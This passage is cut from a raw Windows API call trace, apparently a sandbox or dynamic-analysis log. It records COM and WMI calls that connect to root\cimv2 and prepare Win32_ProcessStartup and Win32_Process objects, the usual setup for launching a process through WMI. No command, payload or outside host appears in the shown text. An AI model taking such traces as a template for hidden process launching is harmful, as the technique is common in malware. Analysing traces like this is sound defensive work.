returned 0x80004002 [0079.484] WbemDefPath:IUnknown:AddRef (This=0x1bfbd440) returned 0x3 [0079.484] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd440, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0079.484] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd440, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0079.484] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd440, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1c001b80) returned 0x0 [0079.484] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c001b80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0079.484] WbemDefPath:IUnknown:Release (This=0x1c001b80) returned 0x3 [0079.484] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0079.484] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0079.484] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd440, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0079.485] WbemDefPath:IUnknown:Release (This=0x1bfbd440) returned 0x2 [0079.485] WbemDefPath:IUnknown:Release (This=0x1bfbd440) returned 0x1 [0079.485] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0079.485] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0079.485] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd440, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bfbd440) returned 0x0 [0079.485] WbemDefPath:IUnknown:AddRef (This=0x1bfbd440) returned 0x3 [0079.485] WbemDefPath:IUnknown:Release (This=0x1bfbd440) returned 0x2 [0079.485] WbemDefPath:IWbemPath:SetText (This=0x1bfbd440, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0079.485] IWbemClassObject:Get (in: This=0x1171fa0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a9d0d8*=0, plFlavor=0x2a9d0dc*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a9d0d8*=19, plFlavor=0x2a9d0dc*=0) returned 0x0 [0079.485] IWbemClassObject:Get (in: This=0x1171fa0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a9d0d8*=19, plFlavor=0x2a9d0dc*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a9d0d8*=19, plFlavor=0x2a9d0dc*=0) returned 0x0 [0079.485] IWbemClassObject:Put (This=0x1171fa0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0079.485] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd200, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0079.485] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0079.485] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0079.485] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0079.485] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0079.486] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0079.486] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0079.486] IUnknown:Release (This=0x111f638) returned 0x1 [0079.488] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1c001d20) returned 0x0 [0079.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c001d20, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0079.488] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c001d20, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bfbd500) returned 0x0 [0079.488] WbemDefPath:IUnknown:Release (This=0x1c001d20) returned 0x0 [0079.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd500, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bfbd500) returned 0x0 [0079.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd500, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0079.488] WbemDefPath:IUnknown:AddRef (This=0x1bfbd500) returned 0x3 [0079.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd500, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0079.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd500, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0079.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd500, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1c001d60) returned 0x0 [0079.488] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c001d60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0079.488] WbemDefPath:IUnknown:Release (This=0x1c001d60) returned 0x3 [0079.488] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0079.489] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0079.489] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd500, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0079.489] WbemDefPath:IUnknown:Release (This=0x1bfbd500) returned 0x2 [0079.489] WbemDefPath:IUnknown:Release (This=0x1bfbd500) returned 0x1 [0079.489] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0079.489] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0079.489] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd500, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bfbd500) returned 0x0 [0079.489] WbemDefPath:IUnknown:AddRef (This=0x1bfbd500) returned 0x3 [0079.489] WbemDefPath:IUnknown:Release (This=0x1bfbd500) returned 0x2 [0079.489] WbemDefPath:IWbemPath:SetText (This=0x1bfbd500, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0079.489] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd500, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0079.489] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd500, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0079.489] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd500, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0079.489] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0079.489] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0079.489] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0079.489] IUnknown:Release (This=0x111f638) returned 0x1 [0079.490] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1c001e60) returned 0x0 [0079.490] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001e60, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0079.490] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c001e60, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1c001e80) returned 0x0 [0079.490] WbemLocator:IUnknown:Release (This=0x1c001e60) returned 0x0 [0079.490] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001e80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1c001e80) returned 0x0 [0079.490] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001e80, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0079.491] WbemLocator:IUnknown:AddRef (This=0x1c001e80) returned 0x3 [0079.491] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001e80, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0079.491] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001e80, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0079.491] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001e80, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0079.491] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0079.491] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0079.491] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001e80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0079.491] WbemLocator:IUnknown:Release (This=0x1c001e80) returned 0x2 [0079.491] WbemLocator:IUnknown:Release (This=0x1c001e80) returned 0x1 [0079.491] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0079.491] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0079.491] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001e80, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1c001e80) returned 0x0 [0079.491] WbemLocator:IUnknown:AddRef (This=0x1c001e80) returned 0x3 [0079.491] WbemLocator:IUnknown:Release (This=0x1c001e80) returned 0x2 [0079.491] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd500, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0079.491] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd500, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0079.491] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd500, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0079.491] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1c001ea0) returned 0x0 [0079.492] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c001ea0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1c0174e0) returned 0x0 [0079.611] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0174e0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bf971a0) returned 0x0 [0079.611] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf971a0, pProxy=0x1c0174e0, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0079.611] WbemLocator:IUnknown:Release (This=0x1bf971a0) returned 0x1 [0079.611] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0174e0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bf971e0) returned 0x0 [0079.611] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0174e0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bf971a0) returned 0x0 [0079.611] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf971a0, pProxy=0x1c0174e0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0079.612] WbemLocator:IUnknown:Release (This=0x1bf971a0) returned 0x2 [0079.612] WbemLocator:IUnknown:Release (This=0x1bf971e0) returned 0x1 [0079.612] CoTaskMemFree (pv=0x1c009df0) [0079.612] WbemLocator:IUnknown:AddRef (This=0x1c0174e0) returned 0x2 [0079.612] WbemLocator:IUnknown:Release (This=0x1c001ea0) returned 0x0 [0079.612] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0079.613] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0079.613] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0174e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bf971b0) returned 0x0 [0079.613] WbemLocator:IRpcOptions:Query (in: This=0x1bf971b0, pPrx=0x1c001f00, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0079.613] WbemLocator:IUnknown:Release (This=0x1bf971b0) returned 0x2 [0079.613] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0079.613] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0079.613] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0174e0, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1c0174e0) returned 0x0 [0079.613] WbemLocator:IUnknown:Release (This=0x1c0174e0) returned 0x2 [0079.613] SysStringLen (param_1=0x0) returned 0x0 [0079.613] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd500, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0079.613] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd500, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0079.613] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd500, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0079.613] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd200, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0079.614] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd200, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0079.614] IWbemServices:GetObject (in: This=0x1c0174e0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1172310, ppCallResult=0x0) returned 0x0 [0079.618] IWbemClassObject:Get (in: This=0x1172310, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0079.618] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0079.618] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0079.618] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0079.618] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0079.618] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0079.618] IUnknown:Release (This=0x111f638) returned 0x1 [0079.620] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1c001ea0) returned 0x0 [0079.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c001ea0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 